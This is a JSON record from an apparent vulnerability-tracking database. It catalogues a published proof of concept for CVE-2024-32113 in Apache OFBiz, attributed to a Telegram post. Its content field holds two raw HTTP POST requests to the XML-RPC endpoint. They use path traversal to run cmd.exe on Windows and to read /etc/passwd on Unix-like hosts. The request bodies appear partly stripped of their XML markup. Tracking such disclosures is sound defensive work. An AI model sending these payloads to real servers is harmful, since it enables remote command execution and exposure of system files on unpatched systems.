{"uuid": "98e9dc63-bd76-4d3f-b4d9-ec5628fc1598", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-32113", "type": "published-proof-of-concept", "source": "https://t.me/Hunt3rkill3rs1/227", "content": "CVE-2024-32113 Apache-OFBiz\n*\nPOC \u0434\u043b\u044f WIN\nPOST /webtools/control/xmlrpc HTTP/1.1\nHost: vulnerable-host.com\nContent-Type: text/xml\n\n\n\n\u00a0 performCommand\n\u00a0 \n\u00a0\u00a0\u00a0 \n\u00a0\u00a0\u00a0\u00a0\u00a0 ../../../../../../windows/system32/cmd.exe?/c+dir+c:\\\n\u00a0\u00a0\u00a0 \n\u00a0 \n\n\nPOC \u0434\u043b\u044f *NIX\nPOST /webtools/control/xmlrpc HTTP/1.1\nHost: vulnerable-host.com\nContent-Type: text/xml\n\n\n\n\u00a0 example.createBlogPost\n\u00a0 \n\u00a0\u00a0\u00a0 \n\u00a0\u00a0\u00a0\u00a0\u00a0 ../../../../../../etc/passwd\n\u00a0\u00a0\u00a0 \n\u00a0 \n", "creation_timestamp": "2024-05-17T02:12:53.000000Z"}